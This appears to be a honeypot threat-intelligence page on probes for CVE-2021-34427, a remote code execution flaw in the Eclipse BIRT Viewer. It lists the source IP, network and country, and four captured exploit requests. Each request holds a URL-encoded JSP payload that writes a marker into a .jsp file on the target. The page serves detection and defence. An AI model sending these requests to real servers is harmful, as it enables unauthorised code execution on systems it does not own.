CVE-2021-34427: Eclipse BIRT Viewer - Remote Code Execution

HoneyLabs honeypots recorded 6 probes matching CVE-2021-34427 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

  • /document?__report=test.rptdesign&sample={{*}}&__document=./test/{{*}}.jsp/.

Addresses probing it

Source IPProbesNetworkCountry
93.123.109.2146Techoff Srv LimitedBulgaria

Networks it comes from

ASNOrganisationProbesSource IPs
AS48090Techoff Srv Limited61

Where it comes from

CountryProbes
Bulgaria6

Captured requests

  • /document?__report=test.rptdesign&sample=%3C%25out.println(%22mDElUz92DhOdbyrmA6LE%22)%3B%25%3E&__document=./test/fCCLHnnrcluWNp0vfZtL.jsp/.
  • /document?__report=test.rptdesign&sample=%3C%25out.println(%22lF9BymiaJthuNbTgyh9G%22)%3B%25%3E&__document=./test/tNUmuj5LspKTNjFaWbYM.jsp/.
  • /document?__report=test.rptdesign&sample=%3C%25out.println(%22XOhR49GPb95zKCCuZH5A%22)%3B%25%3E&__document=./test/pGkzzE221S5FwWm5gCcQ.jsp/.
  • /document?__report=test.rptdesign&sample=%3C%25out.println(%22djHSRp56fvzQRIfIquXY%22)%3B%25%3E&__document=./test/FYLAaJOSlO6MSg5sFC5V.jsp/.

HTTP client fingerprints

  • b11cun040_00040013_608dab68

CVE report

CVE report

Open a specific CVE from the CVE tracker.